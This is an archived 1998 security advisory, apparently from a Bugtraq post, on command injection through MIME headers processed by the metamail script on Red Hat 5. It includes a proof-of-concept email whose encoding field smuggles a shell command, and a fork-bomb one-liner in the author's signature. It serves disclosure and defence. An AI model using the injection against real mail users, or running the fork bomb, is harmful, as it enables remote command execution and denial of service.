RedHat 5 metamail hole
| Description: | Many mail clients, MTA's, etc. are poorly written and can interpret mail in ways that lead to security wholes. One of the bugs in this message demonstrates a way to execute arbitrary commands by sending mail to a Redhat 5 user. The bug is in metamail script processing of MIME messages. |
| Author: | Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL> |
| Compromise: | potential root (remote). The victim must read the mail with Pine (or something else that calls metamail). |
| Vulnerable Systems: | RedHat 5, other linux boxes with vulnerable metamail script. |
| Date: | 5 April 1998 |
Date: Sun, 5 Apr 1998 15:25:25 +0200
From: Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
To: BUGTRAQ@NETSPACE.ORG
Subject: mailrc and pine security holes
Many of mailcap-compatible unix mail clients have several security holes.
Mailcap mechanism is usually so poorly implemented that it's possible
to perform wida range of attacks - from 'harmless' messing on screen,
through executing specific commands with arbitrary parameters,
even to executing *arbitrary* commands via e-mail message.
Here are examples, both tested under Linux RH 5.0 distribution (mailcap
1.0.6, pine 3.96):
========================================
Example 1 (light) - pine 3.96 confusion
=======================================
Following example demostrates how to cause a few 'mostly harmless'
errors due to the improper expansion of ` character by pine - it's
just annoying, because you can't view this mail properly, but I
have no idea if it's exploitable:
**** SAMPLE MIME MESSAGE ****
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0007_01BD5F09.B6797740"
------=_NextPart_000_0007_01BD5F09.B6797740
Content-Type: text/plain;
charset="crashme`"
Content-Transfer-Encoding: quoted-printable
Hellow!
------=_NextPart_000_0007_01BD5F09.B6797740--
**** END OF EXAMPLE ***
===============================================
Example 2 (heavy) - execution of arbitrary code
===============================================
That's something even more dangerous - following MIME mail, when viewed,
executes 'touch /tmp/BIG_HOLE' (bug lies in metamail script):
**** SAMPLE MIME MESSAGE ****
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0007_01BD5F09.B6797740"
------=_NextPart_000_0007_01BD5F09.B6797740
Content-Type: default;
encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ touch\ \/tmp/BIG_HOLE"
Content-Transfer-Encoding: quoted-printable
Hellow!!!
------=_NextPart_000_0007_01BD5F09.B6797740--
**** END OF EXAMPLE ****
_______________________________________________________________________
Michal Zalewski [lcamtuf@boss.staszic.waw.pl] <= finger for pub PGP key
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
[echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86]
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources:
